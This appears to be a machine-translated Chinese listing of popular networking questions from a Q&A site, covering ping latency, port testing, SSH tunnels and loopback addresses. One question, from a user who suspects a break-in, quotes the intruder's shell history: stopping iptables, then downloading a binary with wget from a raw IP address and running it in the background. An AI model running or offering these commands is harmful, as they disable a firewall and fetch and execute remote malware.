标签: networking

跨大西洋 ping 比将像素发送到屏幕还快?

约翰卡马克在 推特上写道

我可以比向屏幕发送像素更快地向欧洲发送 IP 数据包。怎么样?

如果这不是约翰卡马克,我会把它归档在“互联网很愚蠢”下。

但这是约翰卡马克。

这怎么可能是真的?

为了避免讨论推文中的确切含义,这就是我想得到的回答:

在最好的情况下,将单个 IP 数据包从美国的服务器发送到欧洲的某个地方需要多长时间,从软件触发数据包的时间到上面的软件接收到数据包司机级别?

在最好的情况下,从驱动程序级别以上的软件更改像素值的点开始测量,像素显示在屏幕上需要多长时间?


即使假设跨大西洋连接是金钱可以买到的最好的光纤电缆,并且约翰坐在他的 ISP 旁边,数据仍然必须编码在 IP 数据包中,从主存储器到他的网卡,从那里通过墙上的电缆进入另一座建筑物,可能会跳过那里的几台服务器(但我们假设它只需要一个中继),穿过海洋被光子化,通过光电传感器转换回电脉冲,并最终被另一块网卡解释。让我们停在那里。

至于像素,这是一个简单的机器字,通过 PCI express 插槽发送,写入缓冲区,然后刷新到屏幕。即使考虑到“单个像素”可能会导致整个屏幕缓冲区被传输到显示器这一事实,我也不认为这会变慢:这不像是“一个一个”地传输位 - 相反,它们是连续的电脉冲,它们之间没有延迟地传输(对吗?)。

networking bandwidth graphics-card ip

841
推荐指数
3
解决办法
17万
查看次数

我刚刚被黑了吗?

我正在开发一个消费产品,它应该连接到互联网,所以正如预期的那样,它连接到互联网以便我可以正确地开发它。

我离开了一两个小时,当我回到办公室时,我注意到终端上写着一些奇怪的命令。

查看名为auth.log我的 Linux 日志文件,我可以看到以下几行(还有更多):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]
Run Code Online (Sandbox Code Playgroud)

40.127.205.162事实证明,该 IP 地址归 Microsoft 所有

以下是我不在时使用的一堆命令:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360 …
Run Code Online (Sandbox Code Playgroud)

networking linux trojan

504
推荐指数
9
解决办法
6万
查看次数

测试远程系统上的端口是否可访问(无需 telnet)

在过去,我们过去常常telnet查看远程主机上的端口是否打开:telnet hostname port会尝试连接到任何主机上的任何端口并让您访问原始 TCP 流。

这些天,我工作的系统没有安装 telnet(出于安全原因),并且默认情况下会阻止所有主机的所有出站连接。随着时间的推移,很容易忘记哪些端口对哪些主机开放。

是否有另一种方法来测试远程系统上的端口是否打开——使用安装了数量有限的软件包telnet且不可用的 Linux 系统?

networking linux port

430
推荐指数
11
解决办法
95万
查看次数

Ping 比光还快

在测试我的互联网连接时,我刚刚发现了一件很奇怪的事情。我的 ping 比它应该的要小。例如,对亚利桑那州立大学的 ping 时间约为 14 毫秒。

eryk@eryk-pc:~$ ping www.asu.edu
PING www.asu.edu.cdn.cloudflare.net (104.16.51.14) 56(84) bytes of data.
64 bytes from 104.16.51.14: icmp_seq=1 ttl=60 time=13.8 ms
Run Code Online (Sandbox Code Playgroud)

我住在波兹纳?在波兰,所以我到亚利桑那州立大学的直线距离(非常乐观的假设)大约是 10000 公里。考虑到 ping 时间是两个方向的时间(到目标和回到家)。所以我的ping包必须跨越20000公里的距离。光速是每秒 30 万公里,即每毫秒 300 公里。所以用我的数据包以光速运行 ping 亚利桑那州立大学的最短时间是

20000/300=67ms
Run Code Online (Sandbox Code Playgroud)

我注意到位于澳大利亚和美国其他一些州的服务器的类似结果。我的互联网连接速度是光速的五倍吗?

networking ping

385
推荐指数
1
解决办法
2万
查看次数

“Wi-Fi”中的“Fi”是什么意思?

我刚刚进入了关于 Wi-Fi 的激烈讨论。Wi-Fi 中的 Fi 是什么意思?我会想到潜在的“频率接口”,因为所有网络适配器都被归类为接口。不过我不确定。

networking wireless-networking terminology network-adapter

320
推荐指数
4
解决办法
21万
查看次数

127.0.0.1 和 0.0.0.0 有什么区别?

我知道 127.0.0.1 指向localhost,0.0.0.0 也是如此(如果我错了,请纠正我)。那么,127.0.0.1 和 0.0.0.0 之间有什么区别呢?

networking ip-address localhost ipv4

303
推荐指数
4
解决办法
13万
查看次数

如何可靠地保持 SSH 隧道打开?

我在工作中使用 SSH 隧道绕过各种 idotic 防火墙(我的老板没问题:))。问题是,一段时间后 ssh 连接通常会挂起,并且隧道被破坏。

如果我至少可以自动监控隧道,我可以在它挂起时重新启动隧道,但我什至没有想到这样做的方法。

可以告诉我如何防止我的 ssh 连接挂起的人当然可以加分!

networking linux security ssh shell

290
推荐指数
10
解决办法
24万
查看次数

如何最好通过终端列出连接网络中的所有 IP?

使用 Ubuntu 10.10 命令行,如何列出连接到家庭网络的所有 IP?

理想情况下,它需要是一个 CLI 命令,因为我将从 C++ 运行它。

networking linux ip ubuntu

262
推荐指数
6
解决办法
64万
查看次数

从 VirtualBox 来宾操作系统连接到主机?

我基本上想从 VirtualBox 中的来宾访问我的主机。是否为我的主机提供了一个 IP 地址,我可以从来宾使用它?是否需要额外的步骤来设置?我想访问我主机的 Apache、FTP 和 SSH 服务。

networking virtualbox virtualization

237
推荐指数
3
解决办法
29万
查看次数

是否可以 ping 地址:端口?

我不喜欢网络,我有以下与 Linux ping命令相关的问题。

我只能ping一个地址吗?例如:

miner@raspberrypi ~ $ ping onofri.org
PING onofri.org (67.222.36.105) 56(84) bytes of data.
64 bytes from onofri.org (67.222.36.105): icmp_req=1 ttl=47 time=202 ms
64 bytes from onofri.org (67.222.36.105): icmp_req=2 ttl=47 time=206 ms
64 bytes from onofri.org (67.222.36.105): icmp_req=3 ttl=47 time=215 ms
Run Code Online (Sandbox Code Playgroud)

或者我也可以 ping 一个address:port,例如:onofri.org:80

如果我尝试这个它不起作用:

miner@raspberrypi ~ $ ping onofri.org:80
ping: unknown host onofri.org:80
Run Code Online (Sandbox Code Playgroud)

是否可以 ping 之类的地址:端口?如果可能,为什么我尝试的方法不起作用?

networking linux ping

232
推荐指数
8
解决办法
49万
查看次数